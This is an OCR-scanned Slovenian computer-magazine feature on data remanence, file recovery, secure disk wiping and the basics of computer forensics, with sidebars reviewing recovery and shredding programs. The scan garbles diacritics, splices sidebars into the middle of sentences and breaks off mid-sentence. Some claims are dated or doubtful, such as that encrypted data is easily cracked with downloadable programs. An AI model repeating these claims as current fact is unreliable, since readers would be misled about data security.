jih ne prepisemo g novimi podatki, jih je
mogoce z ustrezno programsko opremo
obnoviti.
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KAJ JE RES IN KAJ NE?

Carovnije z ra¢unalnikom, ki jih zasledimo
v razliénih amerigkih filmih, so ve¢inoma le
iluzija in ni¢ drugega. Tako hitro, enostavno in
v celoti pa& ni mo& obnoviti zbrisanih datotek.
Sam proces je mnogo kompleksnejsi in ne po-
stre¥e vedno s pozitivnimi rezultati. Ce vidite,
da »junak« v trenutku obnovi izbrisane poda-
tke iz racunalnika varnostne agencije CIA, je
to seveda popolna neumnost. Predvsem zato,
ker ti ratunalniki Y¢ v osnovi ne uporabljajo
datote¢nih sistemov, znanih iz sveta racunal-
nikov za obi¢ajno rabo. Drugace povedano, ko
v tem rac¢unalniku dokonéno zbrisejo neko da-
toteko, je ta v resnici zbrisana in za njo ostane
ni¢ ali le malo sledi. Zagotovo pa ni¢ uporab-
nega. Tako vsaj trdijo uradne institucije.

Je res tako? Odgovor na to vpraganje meji na
znanstveno fantastiko. Nekatere analize geni-
alnih posameznikov namre& kaZejo, da je kljub
vsemu moc¢ prebirati podatke. Celo iz pomnil-
nikov, del¢ek sekunde po tem, ko racunalnik
ugasimo. In tudi iz diska, in to v primeru, ko je
bil podatek Ze veckrat prepisan z novimi po-
datki. Seveda s pomodjo sofisticirane in drage
opreme, ki je ni ravno v izobilju.

Ceprav so pomnilniski ¢ipi in magnetni diski
(trdi diski) namenjeni shranjevanju podatkov
v digitalni obliki, je osnovna tehnologija zapi-
sa bita v podatkovno celico v osnovi e vedno
analogna. Pri analognem shranjevanju digital-
nih informacij je vrednost posameznega bita
(magnetno ali elektri¢no polje) kompleksna
kombinacija prej¥njih shranjenih bitov. Pom-
nilniski ¢ipi omogo&ajo diagnosti¢ni nacin (to
ni splo§no znano), s pomo&jo katerega lahko
merimo vrednosti, manj$e od (deklariranega)
bita. Podobno velja tudi za trde diske, pri ka-
terih lahko s pomodjo predelane elektronike
signali, pridobljeni z bralno pisalnih glav, od-
krijejo podatke, ki so bili prepisani z novimi.
Ti se 8e vedno kot duhovi prika¥ejo kot modu-
lacija analognih signalov. Drugi na&in prido-
bivanja starih in prepisanih podatkov s trdega
diska je skeniranje povriine magnetnega zapisa
z elektronskim mikroskopom. Na sliki se lepo
vidi, da so starej§i podatki vidni kot magnetni
vzorci na robovih zapisa.

Torej je branje zbrisanih podatkov mogoce,
saj so zapisani podatki veliko bolj trdoZivi, kot
bi si lahko mislili. Jasno pa je, da opisani na¢ini
rekonstrukcije starejsi podatkov ne omogocajo
trenutnega rezultata in zagotovo niso dostopni
zunaj sofisticiranih laboratorijev.

DUHQVI, KI JIH LAHKO ULOVIMO?

Pri osebnih ra¢unalnikih in njim namenjenih
operacijskih sistemih je obnovitev izbrisanih
podatkov veliko preprostejsa pri kaksnih »urad-
nih« institucijah. Krivec za to je datote¢ni si-
stem, ki je pri ve¢ini najbolj znanih operacijskih
sistemov dokaj podoben. Nacin zapisa bi lahko
enostavno opisali takole: Podatki na disku so
zapisani na dveh »nivojih«. Prvi je tabela, v
katerih so podatkih o datoteki (njeni atributi)
in podatki o tem, na katerih delih (sektorjih)
diska je datoteka dejansko zapisana, podatki

sami pa so teh opisanih sektorjih. Ko Zelimo
do podatkov dostopati, sistem najprej pogleda
v tabelo in prebere, kje je podatek, nato pa iz
sektorjev, zapisanih v tej tabeli, prebere to, kar
potrebuje. Ko podatek zbrigemo, pa se ne zgodi
to, kar bi pri¢akovali, torej da ratunalnik zbrise
vsebino sektorjev in nato Se podatke v tabeli.
Zgodi se le to, drugo — sistem iz tabele odstrani
le podatke o datoteki. S tem postane datoteka
za sistem sicer nedostopna, saj sistem ve& ne ve,
kje na disku jo iskati, a podatki sami so dejan-
sko Se vedno na disku in ostanejo tam vse do
takrat, ko jih ne prepiSemo z novimi podatki.

)
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trdozZivost podatkov na disku

Navidezno zbrisani

podatki lahko postanejo
varnostna grognja, Ce disk
ali celoten racunalnik bodisi
prodamo kot »staro Saro« ali
nam ga ukradejo.

v povpredju preteCe od trenutka zbrisa datoteka
do trenutka, ko stare podatke na disku ra¢unalnik
zamenja z novimi. Preizkus je potekal 20 tednov v
ra¢unalnikih z operacijskim
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sistemom Unix, a kot smo
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Preziveli podatki (MB)
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dejali, je pri ve&ini drugih
operacijskih sistemov podo-
bno. Treba je dodati, da so
bili testni rac¢unalniki dokaj
obremenjeni in so veliko pi-
sali na disk, vsekakor veliko
vel kot racunalnik povpre-
¢nega uporabnika. Poda-
tkovni streznik je dnevno
obdelal 1500  sporogil
elektronske poste (okoli 10
MB), dostopal do spletnih
storitev in podobno (do-

Casovnica prezivetja podatkov

Zanimivo je pogledati, kako dolgo ti podatki
ostanejo na disku. Pred ¢asom smo zasledili preiz-
kus, ki naj bi odgovoril na vpraganje, koliko &asa

datnih 1,5 MB). Datote¢ni
sistem (disk) kapacitete 8
GB s podatkovnimi bloki 1 KB je bil polovi¢no
zaseden in ve¢ino od omenjenih elektronskih
sporodil je sistem samodejno izbrisal v dokaj krat-

Da poletje ne bo dolgocasno

Bliza se poletni ¢as, ko je, poleg boZi¢a, pregovorno najve¢ moznosti, da otroci starSe prepri¢ajo
0 potrebi po nakupu novega rac¢unalnika. Najpogostejsi argument otrok je, da je stari — saj Ze
sama beseda pove vse - preslab in torej ni ve¢ primeren. In ¢e to podkrepijo Se z argumentom,
da novega racunalnika ne potrebujejo za igranje iger, ampak za naslednje Solsko leto, uspeh ne
more izostati.

Pojavi pa se vpraSanje, kam s starim druzinskim raCunalnikom. Najbolje ga je prodati in tako
vsaj nekaj zanj dobiti. Ker pri nas ni podjetij, ki bi obnavljala stare raunalnike - no, slisali smo
za eno, a tudi to ne oglasuje, da na trgu odkupuje stare racunalnike - vam preostane le to, da
sami zbriSete podatke z diska. Jasno in glasno vam moram povedati, da formatiranje in ponov-
no preoblikovanije particij diska (Ce to sploh storite), Se manj pa preprosto brisanje podatkov ne
uniéi. Ti se Se vedno nedotaknjeni skrivajo na disku in ... marsikaj se lahko zgodi. Poglejmo si
hipoteticen primer, ki ga pri nas po nasih podatkih v praksi Se ni bilo, se pa to dokazano dogaja
onstran luze: gre za krajo identitete posameznika.

Janez se je kon¢no odloc€il, da kupi nov racunalnik, starega pa podari. OdloCil se je, da trdi disk
preformatira, saj se zaveda, da je imel na njem veliko osebnih podatkov, med drugim svoje
finanCne podatke (Stevilke kartic), skupaj s potrebnimi gesli za dostop do sistema elektronskega
bancniStva in spletnih trgovin, kjer rad nakupuje. Ko to naredi, stari racunalnik roma v humani-
tarne namene. Cez nekaj ¢asa Janez dobi izpisek placil svoje kreditne kartice kjer lepo pise, da
je pred dvema dnevoma v svoji priljubljeni spletni trgovini tehni¢nega blaga kupil nesramno drag
in velik (takega si je vedno Zelel) plazemski televizor ...

Kaj se je pripetilo? Znano je, da tako imenovani kiber kriminalci radi kupujejo stare racunalnike
in potem na njihovem trdem disku iS¢ejo potrebne podatke, ki jim omogocajo krajo identitete. V
zgornjem primeru so nasli dovolj podatkov, da so uspesno izvedli spletni nakup. Kar je Se huje,
nasa izmi$ljena oseba bo zelo tezko dokazala, da nakupa ni opravila, saj je v omenjeni trgovini
7e kupovala (kar seveda priznava), lazni kupec pa se je predstavil z vsemi potrebnimi podatki.
Kaj takega ni tezko tudi v primeru, ko Sifriramo pomembne podatke, saj je v spletu dovolj zmog-
ljivih programov za desifriranje. 5

Dobro torej premislite, kaj boste storili s starim raCunalnikom. Se najbolje je, da ga prodate brez
diska, tega pa bodisi skrijete na podstresje ali zmeljete v prah. Ce vam je Skoda denarja, vsaj
veckrat prepiite disk z nakljuénimi podatki, kar zanesljivo zas€iti pred zgornjim primerom.
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trdozivost podatkov na disku

kem Casu. V praksi to pomeni veliko pisanja in
brisanja. Dobljeni rezultati kaZejo na jasen trend.
V strezniku so nasli 100 MB vsebin, ki so bili zbri-
sane pred manj kot tednom dni, 20 tednov pa je
sprezivelo« 10 MB podatkov. Se zgovornejsi so
rezultati, pridobljeni v drugih testnih raunalni-
kih. Polovica zbrisanih podatkov na njih je bila
prepisana po 35 dneh. Glede na to lahko sklepa-
mo, da izbrisani podatki ostanejo v ra¢unalnikih
nekaj tednov ali celo vec.

Stalno pisanje in brisanje

Nadzirati podatkovne nosilce (diske, bli-
skovne oz. flash pomnilnike), ki jih ope-
racijski sistem uporablja kot, recimo mu
delovni pomnilnik, ¢eprav to ni pravi naziv,
je pri danasnjih sistemih dokaj zapleteno.
Programi neprestano in brez vednosti upo-
rabnika delajo kopije datotek, s katerimi
ta dela. V teh datotekah so podatki, ki so
bili v dokumentu v trenutku, ko so nastale.
Na koncu v datote¢nem sistemu vidimo le
konéno razli¢ico datoteke in se ne zaveda-
mo, da je njena vsebina raztresena po vsem
disku v izbrisanih zac¢asnih datotekah. Ce
vemo, kako se nezazelenih podatkov do-
kon¢no znebiti, se moramo zavedati tudi
dejstva, da je treba prepisati prav vse dato-
teke, ki so bile ustvarjene in nato zbrisane.
Tako imenovani fenomen migracije dokumen-
ta je mo¢ opazovati s preprostim primerov.
Najprej vkljucite funkcijo, ki omogoca prikaz
skritih datotek. Odprite dokument v Wordu in
ga shranite v mapo po svoji Zelji. Nato urejajte
dokument in hkrati vsake toliko ¢asa poglejte
v mapo (z Raziskovalcem), katere datoteke se
Vv njej pojavljajo in izginjajo.

KAJ VPLIVA NA OBSTOJNOST
IZBRISANIH PODATKOV

Kako dolgo izbrisani podatki ostanejo na disku,
je odvisno tudi od datote¢nega sistema. Zmog-
ljivi datote¢ni sistemi teZijo k hitremu dostopu
do zapisanih podatkov. To pa je mogoce doseti z
optimiranjem premikanja glav trdega diska. Edi-
na moznost za to pa je optimiranje podatkovnih
blokov, v katerih je dologena datoteka, tako da
so ¢im bli%je skupaj. Sistem novo datoteko fizi¢-
no zapise blizu datotek, ki so v isti mapi (ime-
niku), nove mape pa ustvari na delu diska, kjer
je veliko praznega prostora. V takem sistemu je
Cas prefivetja izbrisanih datotek odvisen od ak-
tivnosti pisanja in brisanja v dolo¢eni mapi (delu
diska). Ce je aktivnost velika, je ta as kratek,
v mapah, kjer se skoraj ni¢ ne dogaja, pa lahko
zbrisane datoteke »preZivijo« dlje casa.

Ze to, da se lahko zbrisane datoteke ohranijo
nekaj tednov ali v skrajnem primeru celo nekaj
let, je zanimivo samo po sebi. Se dlje se lahko
ohranijo podatki o atributih datotek (¢as na-
stanka, zadnje spremembe ...), iz Cesar lahko
usposobljena oseba izlus¢i podatke o aktivnostih
v doloenih ra¢unalnikih. Vse to pa je lahko, ¢e
se tega ne zavedamo, groznja anonimnosti in za-
sebnosti vsakogar od nas.
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kako dokon¢no uniciti podatke

Pomaga le '«
prepisovanje

diska

Dejali smo, da podatki vsaj nekaj ¢asa
ostanejo na magnetnem mediju tudi,
¢e smo jih zbrisali z orodji operacijskega
sistema. Unicimo jih lahko z dodatnimi
orodji, programskimi ali fizicnimi, pri
Cemer je stopnja unicenja sorazmerna

s pomembnostjo podatkov, ki se jih Zelimo za vedno znebiti.

Piseta: Marjan Kodelja in Zoran Banovi¢

marjan.kodelja@mojmikrosi, zoran.banovic@mojmikro.si

\'4

e pred leti sta Studenta MIT-a zbira-
la stare zavriene trde diske in na njih
iskala $e uporabne podatke. V dveh
letih sta kupila 158 starih diskov, od
katerih 129 delujo¢ih. Med njimi jih je 69
vsebovalo zbrisane datoteke, ki jih je bilo mo-
goce obnoviti, na 49 diskih pa sta celo nasla
osebne podatke prejsnjih lastnikov. Nasla sta
podatke o zdravstvenih stanjih, pornografsko
vsebino, ljubezenska pisma in celo 5 tiso¢ $te-
vilk kreditnih kartic. Verjamemo, da danes ni
ni¢ drugace, saj je Stevilo zavrzenih diskov ali

racunalnikov, ki jih lahko poceni najdete na
spletnih dra¥benih sistemih, vse vedje.

VERJETI ALI NE VERJETI?

Zavedati se je treba, da obi¢ajno brisanje v
vecini operacijskih sistemov povzrodi le umik
»kazalca«, ki ka¥e na mesto, kjer so podatki,
povezani z dolo¢eno datoteko. Formatiranje ali
ponovno oblikovanje particij prav tako nista
dovolj zanesljivi funkciji sistema, saj na disku
e vedno lahko ostanejo stari podatki, ¢eprav
sistem disk vidi kot praznega.

Izku$nje z digitalnimi fotografijami

Digitalna fotografija je poleg vseh ugodnosti prinesla tudi nekaj tegob digitalne dobe, kamor
Stejemo predvsem shranjevanje podatkov. Pred leti je bil edini dovolj zmogljiv medij IBMov
Microdrive, trdi disk v mikro izvedbi. Poleg vecje porabe energije digitalnega fotoaparata za-
radi vrtenja diska je imel e eno slabost: bil je zelo obCutljiv na padce in tresljaje. Danes ga
praktic¢no ne zasledimo vec, saj ga je v veliki meri zamenjal staticni pomnilnik. A ¢e so glavne
fizi€ne tezave omiljene, $e vedno ostajajo programske ali bolje receno tezave z zapisovanjem
oziroma naklju¢nim brisanjem podatkov in pred¢asna izguba energije, ki lahko povzroci na-
pake. PomnilniSka kartica ima dva kriti¢na trenutka, vstavljanje v digitalni fotoaparat oziroma
Citalnik in izvle€enje. Ce to naredimo med pisanjem (branje je manj kriti¢no), bomo zagotovo
pokvarili podatke, ki se piSejo, lahko pa tudi tiste, ki so Ze zapisani. Pravilo je torej preprosto:
pomnilnisko kartico izvlecite iz fotoaparata oziroma bralnika takrat, ko je prenos podatkov
konc€an oziroma pri ugasnjenem fotoaparatu.

Fotografije sem na sre€o zgubil le enkrat. Ker mi prvi¢ bralnik kartice ni prepoznal, sem jo
izvlekel in vstavil Se enkrat, a potem nisem nasel ve¢ nobene fotografije na njej. Bila je do-
besedno izbrisana, razni programi za brskanje po disku so pokazali le prazne sektorje. Tezave
z napacnim pisanjem je imel na$ kolega, ki se mu je veCkrat zgodilo, da se je kapaciteta
kartice zelo zmanjSala in fotografije, ki so bile na njej, so preprosto izginile. ReSitev je bila
zelo preprosta - kar ukaz CHKDSK z dodatkom /f, ki je brez tezav nasel datoteke, potrebno
je bilo le Se preimenovanje. Tezave mu je povzrocala le ena kartica, zato jo je preprosto ne-
hal uporabljati. Tudi drugi fotografski kolega ima podobne tezave, le da je tu treba poseci po
programih, ki znajo poiskati izbrisane datoteke. Ker se mu je to zgodilo med fotografiranjem,
niti ni opazil, da so se mu nove fotografije prepisale preko starih. Zal so se nekatere izgubile,
vecji del pa mi jih je uspelo resiti. Program, ki ga uporabljam, je Drive Rescue, ki svoje delo
dobro opravi. Za primerjavo: program Smart Recovery po dobri uri in pol ni nasel niti ene
slike. (Alan Orli¢ BelSak)
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Brisanje: Brisanje pomeni, da sistem v ta-
beli datotek spremeni ime datoteke, tako da
jo sistem obravnava kot zbrisano, Ceprav je
dejansko $e vedno nespremenjena shranjena
na disku. Prostor, ki ga zaseda, je definiran kot
prazen in prej ali slej ga dejansko prepisejo
novi podatki. Dokler se to ne zgodi, je dostop
do starih podatkov enostaven. Tega ni tetko
dokazati. Kopirajte ve&jo datoteko v novo
mapo (kot kopijo) in primerjate ¢as, ki je po-
treben za zapis datoteke s ¢asom, ki ga boste iz-
merili, ko boste datoteko izbrisali. Slednje gre
veliko hitreje.

Particije: Zmotno je misljenje, da preobli-
kovanje particij zbrise podatke. Podatki o par-
ticijah se pri njihovem oblikovanju zapiSejo v
tabelo na disku, in ko jo izbriSemo, se izbrisejo
le ti podatki v tabeli. Ni¢ pa se ne spremeni na
disku in nasi podatki so fizi¢no Se vedno tam,
&eprav je disk videti prazen.

Formatiranje: Kar ta funkcija dejansko na-
redi, je to, da ponovno »postavi« datote¢no
tabelo in preveri, ali so vsi sektorji v stanju,
ki dopus¢a branje in pisanje. Malce ve¢ skode
naredi formatiranje na nizkem nivoju, a tudi ta
funkcija podatkov za stalno ne zbrise.

DOKONCNA RESITEV PROBLEMA

Za »zbrisane« datoteke velja nepisano pravi-
lo, da jih programska oprema ne more ve& ob-
noviti, e sektorje, na katerih so bile zapisane,
prepisemo z drugimi podatki (same enice ali
ni¢le). Drugo je, ko Zelimo prepreciti obnovi-
tev podatkov z zmogljivejsimi laboratorijskimi
tehnikami (na primer s pomodjo elektronske-
ga mikroskopa). Nasploh velja pravilo, da je
dovolj, &e sektorje prepisemo deset- do dva-
najstkrat. Kro%ijo pa nepotrjene govorice, da
ima ameriSka vlada napravo, ki lahko prebere
podatke tudi v primerih, ko so bili ti prepisani
do dvajsetkrat. Ze leta 1996 je Peter Gutmann
predlagal standard, ki datoteko, ki jo Zelimo iz-
brisati, 35-krat prepiSe z razli¢nimi vzorci po-
datkov.

CISCENJE

Cisenje (clearing) pomeni odstranitev po-
datkov iz pomnilnigkega medija v sorazmerju
z njihovo pomembnostjo in na nadin, da po-
datkov ni ve¢ mo?no obnoviti z obi¢ajnimi
zmogljivostmi sistema. »Obnovitev prek tip-
kovnice«, kar vklju¢uje uporabo programskih
orodij in naprednih diagnosti¢nih rutin, naj ne
bi bila mogoca. Ce gre za obcutljive podatke,
lahko to tehniko uporabimo le v primeru, ko
medija, na katerem smo podatke hranili, ne
bomo odstranili iz varnega fizicnega okolja.
Obiajno jo uporabimo, ko na primer disk
ostane v racunalniku, le zbrisanih podatkov bi
se radi znebili.

V praksi &is¢enje pomeni, da prepiSemo
vse dele medija (obi¢ajno trdi disk), na kate-
rih niso zapisani »Zivi« podatki. Pod pogojem
seveda, da zaupamo sistemu ali orodju, da zna
lotiti uporabljene od neuporabljenih delov di-
ska. V nasprotnem primeru se podatki lahko
izgubijo. Ce je orodje dovolj zanesljivo in de-

kako dokon¢no uniciti podatke

TrdoZivost podatkov na magnetnih medijih je lahko tudi pozitivna, in sicer v primeru, ko smo
nekaj pomotoma izbrisali. V takem primeru programi
za obnovitev pomagajo uporabnikom, veliko manj pa so
ti veseli, ko jih uporabi nekdo drug, da obnovi njihove
podatke. Naj omenimo, da je na trgu veliko programov
tako za reSevanje podatkov kot tudi na njihovo »popol-
no« brisanje. Zbrali smo jih nekaj in jih dali na na$ CD.

L JEONVAR™

. | DIE

PC Inspector Smart Recovery Program je namenjen
reSevanju podatkov na pomnilniskih karticah razli¢nih
tipov. Med drugim je sposoben reslti datoteke na kartici,
ki smo jo formatirali ali iztaknili iz naprave med pro-
cesom pisanja nanjo. Del programa, ki je brezplacen, je
tudi funkcija iskanja napak na kartici.

Easy Undelete Program je namenjen reSevanju datotek
v datote€nih sistemih FAT in NTFS. To pomeni v okolju
operacijskih sistemov DOS in Windows. Podpira pom- ol
nilniSke Kartice, trde diske in nekatere druge magnetne k==
medije. Program ni zastonj, saj zanj hocejo 23 dolarjeyv,
na voljo pa je preizkusna razliCica, ki lahko resi le dato-
teke, manjSe od 32 KB.

File Scavenger Tudi ta program je namenjen reSevanju
datotek v datotecnih sistemih FAT in NTFS tudi v prime-
ru, ko smo disk formatirali. Program omogoca tri naCine
delovanja. Hiter dostop do pred kratkim izbrisanih dato-
tek, podrobnejSe iskanje izbrisanih datotek in reSevanje
datotek na diskovnih poljih RAID. Stane 49 dolarjev,
preizkusna razli¢ica pa lahko reSuje le datoteke, manjse Pt el G
do 64 KB. it

e
i
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BinaryBiz Se en program za okolje Windows, vendar
med tu opisanimi najzmogljivej$i in tudi najdrazji (99 |
dolarjev). ReSevanje je mogoCe v razlicnih primerih,
med drugim po formatiranju diska ali preoblikovanju
njegovih particij. Program je zmozen reSiti izbrisana
sporoCila elektronske poste.

GetData Pri tem programu vam demonstracijska raz-
licica omogodi, da vidite izbrisano datoteko, ki jo lahko reSite, ¢e za program placate 69,95
dolarja. Mozno je reSevanje pri ve€ini obi¢ajnih neljubih dogodkov (brisanje, formatiranje in
podobno). Prednost tega programa je v tem, da pregleduje vse sektorje diska in reSuje dato-
teko glede na njeno vsebino.

PROGRAMA ZA IZBRIS PODATKOV e — G
Vsem tistim, ki bi radi poskrbeli, da bodo njihovi po- f-t-;ww 7 —— 1
datki res nepovratno izbrisani, pa sta na voljo naslednja ix‘bm R
dva programa. e

=
AbsoluteShield File Shredder Omogoca unievanje da- cmm s [ st |
totek in map na preprost nacin, saj se program poveze syt 3

Fotal Pl 1 of 1 irishad Pivacy

v operacijski sistem. To pomeni, da datoteko ali mapo EEISMREISEERRRERRRASERRARERREREAR *.‘:;;;
izbriSemo s klikom na desno tipko misSke. Ta brezplacni _ N

program ponuja dve metodi, in sicer hitro dvakratno ali |\ imsms. &) & Secure(lean’
zanesljivejSe sedemkratno prepisovanije. S
Oy —
SecureClean Tudi ta program je namenjen unicevanju “‘% ]
podatkov na trdem disku, le da boste zanj morali odsteti (g BT llE= 3
39,95 dolarja. Delovanje je podobno kot pri prej opisa- ;53;" B
nem, poudarke pa je na preprosti in zanesljivi uporabi. | . &&= e |
T | ] L4




kako dokoncno uniciti podatke

jansko prepise vse podatkovne bloke na disku,
lahko z veliko verjetnostjo predpostavimo, da
zbrisanih podatkov na razmeroma preprost na-
&¢in ne bo mo¢ obnoviti.

OCISCENJE

Tehnika o¢is¢enja (purging) zagotavlja unic-
enje podatkov do te mere, da jih sorazmerno
z njihovo pomembnostjo ni mogo&e obnoviti
nisi z laboratorijskimi tehnikami. Ta tehnika je
uporabna, ko pomnilnigkega medija ne bomo
ohranili v varnem okolju.

Najveckrat se tudi pri tej tehniki uporabi me-
toda prepisovanja pomnilnika, &eprav obstajajo
tudi druge metode (na primer razmagnetenje).
Medij (ali proste dele medija), ki ga Zelimo oci-
stiti, ne prepisemo zgolj enkrat, temvel veckrat,
pri ¢emer uporabimo vedno drug vzorec enic in
nicel. Kolikokrat izvedemo prepisovanje, je od-
visno od medija, ki ga Zelimo o¢istiti, ali stop-
nje verjetnosti unicenja podatkov, ki jo Zelimo
doseti. Najpreproste;jsi standard predvideva tri
faze prepisovanja. V prvi zapiSe nicle, v drugi
enice, v tretji fazi pa naklju¢ne binarne vredno-
sti. Standard, ki ga je predlagal Gutmann (¢lo-
vek, ki je prvi opozoril na trdoZivost izbrisanih
podatkov), predvideva 35 prepisovan;.

Kadar koli uporabimo metodo prepisovanja,
lahko naletimo na teZave, ko v dolo¢ene dele
disk (slabe sektorje) ne moremo pisati. Torej
tudi ne moremo prepisovati. Se preden so sek-
torji postali neuporabni, so bili v njih zapisani
podatki, ki jih je v nekaterih primeri in z upo-
rabo prave opreme e vedno mo¢ prebrati. V
takih primerih tehnika prepisovanja odpove in
treba je posedi po bolj drasti¢nih metodah.

RAZMAGNETEN]JE

Razmagnetenje (degaussing) lahko povzrodi
uni¢enje magnetnega medija, ki ga pozneje ni
moc ved uporabiti. Pri tej tehniki gre za razmag-
netenje vsake magnetne domene — podro&je, ki
pomeni en bit podatkov in na katerem so (ure-
jeni) orientirani magnetni delci. Po razmagne-
tenju delci v domeni niso vec urejeni (odvisno
od vrednosti, ki jo predstavljajo), temvec je nji-
hova orientacija naklju¢na. Nekaterih domen
s to tehniko ne moremo razmagnetiti, zato je
treba »uniciti« dovolj domen, da je obnovitev
podatkov nemogoca. Razmagnetenje doseZemo
z napravo, ki oddaja magnetno polje.

FIZICNO UNICENJE

Skrajna tehnika je fizi¢no uni¢enje magnet-
nega medija, pri ¢emer dejansko doseZemo, da
nasih podatkov nih¢e ne more ve& prebrati.
Praksa je, da tak medij najprej oistimo in nato
posljemo Se na unicenje. UniCenje je mogoce
dosedi na ve¢ nacinov, topljenje, drobljenje,
razstavljanje, izpostavljanje kislinam in podo-
bno, kar naredijo v industrijskih obratih za re-
cikliranje odpadkov. Sami lahko disko uni¢imo
do te mere, da nih&e vet iz njega ne bo mogel
prebirati podatkov, z nekaj dobro usmerjenimi
udarci »macole«. Ali &e ste bolj miroljubni, ga
lahko za nekaj ¢asa (eno uro) vriete v ogenj ali
posodo z moc¢no kislino. M
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racunalniska forenzika
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Z misSjo

Preiskovalec pritisne nekaj
tipk in takoj se mu na zaslonu
prikazejo obremenilni dokazi,
ki jih je osumljenec zbrisal

ze pred leti. No, tako je v
filmu, v realnem svetu pa

raCunalniski forenziki iScejo digitalne dokaze v raCunalnikih, ki jih je moc¢ uporabiti
na sodidcih, vendar ta proces e zdaleC ni tako hiter in enostaven, kot smo ga

vajeni iz televizijskih nadaljevank ali filmov.

Piseta: Marjan Kodelja in Zoran Banovic¢

marjan.kodelja@mojmikrossi, zoran.banovic@mojmikro.si

aCunalniska forenzika je znanost, kate-

re namen je iskanje dokaznega gradiva

v ra¢unalniskih sistemih, predvsem na

pomnilniskih medijih razli¢nih tipov.
Ta dejavnost postaja v zadnjem &asu, ko vlade
razvitih dr?av pritiskajo na lastnike streznikov
za izmenjavo datotek, ¢edalje pomembnejsa. Ko
policija stre?nike zase?e, mora osumljencu doka-
zati, da so bili ti uporabljeni za nedovoljeno ali
kaznivo dejanje. To pa 3e zdale€ ni lahko. Dru-
ga stran uporablja vse mo?ne in znane nadine
unic¢evanja dokaznega gradiva in velikokrat so
korak pred preiskovalci. Se zlasti & so ti nepre-
vidni in pri¢akujejo lahko delo. Znan je primer
$vedskega streznika za izmenjavo datotek, ki ga
je policija zasegla pred meseci. Ce so podatki,
ki so prisli v javnost, to¢ni, potem preiskovalci
niso nasli ni¢ uporabnega. Stopili so v prostor
s strezniki, te izklopili in jih odnesli v svoj la-
boratorij. Sele tam so dognali, da so bili ti brez
trdega diska in da so imeli vse potrebne poda-
tke v pomnilniku RAM (oziroma RAM disku).
Pomnilnik RAM pa ne deluje, ¢e ni prikljucen
na elektri¢ni tok, in tako so preiskovalci dobili
»prazne« racunalnike.

V KOZI OSUMLJENCA

Prvo pravilo preiskovalca, ki stopi na pri-
zoris¢e »zlotina«, je, da skuSa »zlesti v koZo
osumljenca«. Tega mora &im bolj spoznati in
ugotoviti stopnjo njegovega tehni¢nega zna-
nja. Ce iz razli¢nih razlogov to ni mogoce, se
mora preiskovalec zadeve lotiti tako, kot da
ima pred seboj eksperta, ki pozna vse nacine
skrivanja podatkov in boja proti forenzi¢nim

tehnikam. Preiskovalec mora ravnati z racu-
nalnikom tako, kot bi to poel osumljenec pri
njegovi normalni uporabi, in tako mora ratu-
nalnik tudi ugasiti (da ga odnese v laboratorij).
Majhna napaka pri tem in za$¢ita v ra¢unalni-
ku lahko zaéne unicevati podatke na disku.
To je Se zlasti nevarno, &e je obremenilnih po-
datkov na disku manj in je potreben &as za nji-
hovo »popolno« unigenje kratek. Osumljenci
uporabljajo razli¢ne tehnike zastite. Dostikrat
na primer podatke na disku $ifrirajo, klju¢ za
desifriranje pa shranijo v pomnilnik RAM, pri
Cemer ga e sami ne poznajo (naklju¢na gene-
racija Sifrirnega kljuta). Cesar ne ves, ne mores
izdati. Ce preiskovalec ugasi ra¢unalnik, izgubi
kljug, in najmanj kar sledi, je poraba &asa in
stroskov za defifriranje podatkov.

Poglavitna pravila

racunalniskih forenzikov

Pravila, ki se jim mora drzati racunalniski
forenzik, so enaka onim, ki se jih morajo
drzati vsi preiskovalci mesta zloCina. Bi-
stveno je, da se podatki zaradi preiskave
ne izgubijo ali kompromitirajo. Pazljivo
morajo ravnati z zasezeno opremo, da
njihovo dejanja ne spreminjajo podatkov,
vzpostavljen mora biti nadzor nad njihovim
delom, podrobno morajo dokumentirati
vse posege in nikoli ne smejo podcenjevati
nasprotnika. Predvsem pa preiskovalec ne
sme preiskovati dolocene opreme, ce je ne
pozna do popolnosti.
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NA MESTU ZLOCINA

Na mestu zlo¢ina mora preiskovalec dobro
pregledati prostor, v katerem je zase’en ra-
Cunalnik. Dodatni podatki, ki so lahko v po-
mo¢ pri nadaljnjem delu, se morda skrivajo na
zmekanem papirju v koSu za smeti ali na pre-
nosljivih podatkovnih karticah. Sicer je manj
verjetno, da bo imel osumljenec na zaslon na-
lepljen listi¢ z gesli oziroma navodili za delo, a
nikoli ne veste — morda boste nasli tudi to. Ce
raunalnik $e vedno deluje, mora preiskova-
lec dokumentirati vse delujoce programe ali
aplikacije. Se pomembneje je, da dokumenti-
ra, kaj se skriva v pomnilniku RAM, kajti kot
smo dejali, je to najveckrat uporabljen trik.
Obstajajo posebne naprave, ki lahko skenirajo
pomnilnik delujo¢ega racunalnika, a po drugi
strani lahko skeniranje zazna tudi modificirani
raunalnik in uni¢i podatke. Torej je treba biti
pri tem e posebej previden in predvideti, kaks-
na je verjetnost, da nas poseg unidi podatke.

Sele ko je vse to narejeno, se lahko loti-
mo ugaSanja rafunalnika. Kako racunalnik
ugasiti, ne ta bi poseg vplival na podatke, je
druga »pesem«. Ce ra¢unalnik ni opremljen s
zaSCitami, ga lahko, &e je opremljen z operacij-
skim sistemom tipa DOS, zgolj ugasimo (tako
da iztaknemo kabel iz elektri¢ne vti¢nice),
pri operacijskih sistemih tipa Windows, pa ga
moramo najve&krat ugasiti s funkcijo operacij-
skega sistema. V nekaterih primerih je bolje
tudi v teh primerih izklopiti kabel, saj to na-
redi manj $kode kot ugasanje po opisani poti.
Racunalnik je lahko prilagojen do te mere, da
uporaba funkcije ugasanja spro?i prepisovanje
podatkov in s tem njihovo unicevanje. Izklop
kabla naredi manj $kode.

POISCITE PASTI

Zgodba zase so pasti, ki jih lahko za primere
odkritja postavijo osumljenci in katerih nalo-
ga je samounicenje podatkov. Preden zase?eni
raunalnik odnesemo, je treba pregledati zu-
nanjost in notranjost ohisja. Unicenje trde-
ga diska sicer zahteva veliko fizi¢ne sile, a kje
piSe, da ni nad trdi disk postavljena posoda z
mo&no kislino, ki se pri premikanju izlije, ali
manjse eksplozivno telo z detonatorjem, ki za-
znava premikanje. Slednje utegne biti nevarno
tudi za preiskovalce. Kislino bi si lahko omislil
tudi kak na§ osumljenec, o eksplozivu pa mal-
ce dvomimo. Dobro mesto, kjer lahko zagne-
mo preiskovanje, je odprtina za ventilator, ali
pa na ohi$ju najdemo najmanj nevarno mesto
in vanj izvrtamo luknjo. Skoznjo lahko nato
Vv notranjost potisnemo napravo za vizualno
opazovanje — zdravniki so dobro opremljeni z
njimi. Ker so danasnji ra¢unalniki dokaj stan-
